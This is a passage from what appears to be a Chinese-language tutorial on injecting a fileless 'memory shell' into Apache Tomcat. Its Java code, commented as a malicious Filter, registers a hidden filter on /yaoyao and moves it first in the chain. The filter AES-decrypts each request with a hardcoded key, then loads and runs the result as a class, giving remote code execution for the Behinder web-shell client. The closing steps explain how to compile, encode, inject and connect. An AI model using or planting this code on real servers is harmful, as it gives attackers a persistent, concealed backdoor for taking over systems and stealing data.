org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

Filter filter=new BehinderFilter();

if(standardCtx.findFilterDef("yaoa")==null){
//添加FilterConfig
FilterDef filterDef =new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("yaoa");
filterDef.setFilterClass(filter.getClass().getName());
standardCtx.addFilterDef(filterDef);
standardCtx .filterStart();
//添加FilterMap
FilterMap filterMap=new FilterMap();
filterMap.setFilterName("yaoa");
filterMap.addURLPattern("/yaoyao");
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
standardCtx.addFilterMap(filterMap);

//获取filterMaps
FilterMap[] filterMaps=standardCtx.findFilterMaps();
FilterMap[] tmpFilterMaps=new FilterMap[filterMaps.length];
//将恶意Filter移到第一位
int index=1;
for (int i=0;i<filterMaps.length;i++){
if (filterMaps[i].getFilterName()=="yaoa"){
tmpFilterMaps[0]=filterMaps[i];
}else {
tmpFilterMaps[index]=filterMaps[i];
index++;
}
}
for(int i=0;i<filterMaps.length;i++){
filterMaps[i]=tmpFilterMaps[i];
}
}
}
catch (Exception e){

}
}

public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", servletResponse);
obj.put("session", session);


try {
//密码yaoyao,这里是md5值的前16位。
session.putValue("u","935d07f0ead60299");
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec("935d07f0ead60299".getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception e) {
e.printStackTrace();

}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}

}

编译成字节码->base64编码
利用加载字节码的方式注册FIlter
image.png
冰蝎连接
image.png
image.png